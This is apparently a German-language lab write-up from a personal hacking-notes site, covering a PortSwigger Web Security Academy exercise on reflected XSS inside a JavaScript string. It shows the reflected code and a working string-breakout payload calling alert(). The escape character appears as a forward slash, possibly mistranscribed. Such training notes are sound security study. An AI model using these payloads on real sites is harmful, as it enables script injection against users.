> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/xss/xss-in-a-javascript-string-with-encoded-angle-brackets-encoded-double-quotes-and-escaped-apostrophe.md).

# XSS in einem JavaScript-String mit kodierten spitzen Klammern, kodierten doppelten Anführungszeichen und maskiertem Apostroph

XSS in einem JavaScript-String mit kodierten spitzen Klammern, kodierten doppelten Anführungszeichen und maskiertem Apostroph Notizen für Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungs-Workflow, Payload-Tests,

### Reflektiertes XSS in einen JavaScript-String mit HTML-kodierten spitzen Klammern und doppelten Anführungszeichen sowie maskierten einfachen Anführungszeichen

Dieses Lab enthält eine reflektierte XSS-Schwachstelle: Der Suchwert wird in einen JavaScript-String eingefügt. `<`/`>` und doppelte Anführungszeichen werden HTML-kodiert, und einfache Anführungszeichen werden maskiert. Ziel: Aus dem JavaScript-String ausbrechen und aufrufen `alert()`.

Aus dem beobachteten Skript extrahiert

```javascript
var searchTerms = '&lt;/h1&gt;/'';
    document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
```

Beobachtete Einschränkungen

* Einfaches Apostroph wird maskiert (`/'`).

```javascript
test'
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3bc379624c2602e62ef844e8bab4ede40ca8f98a%2F%7B4A8285C4-E127-4A31-B16D-7585B4A66062%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Bereitgestellte Nutzlast

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9b9aaea611991343bbe57a4fe94ca7a76d32ed90%2F%7B458F802C-E1B8-4962-AF17-F842E3C54CCC%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```javascript
test/'+alert(0);//
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-89800384a9757c2fc0baf95de959568350a96903%2F%7B1A7C064C-CA1F-47FB-8B28-EC859349B43F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


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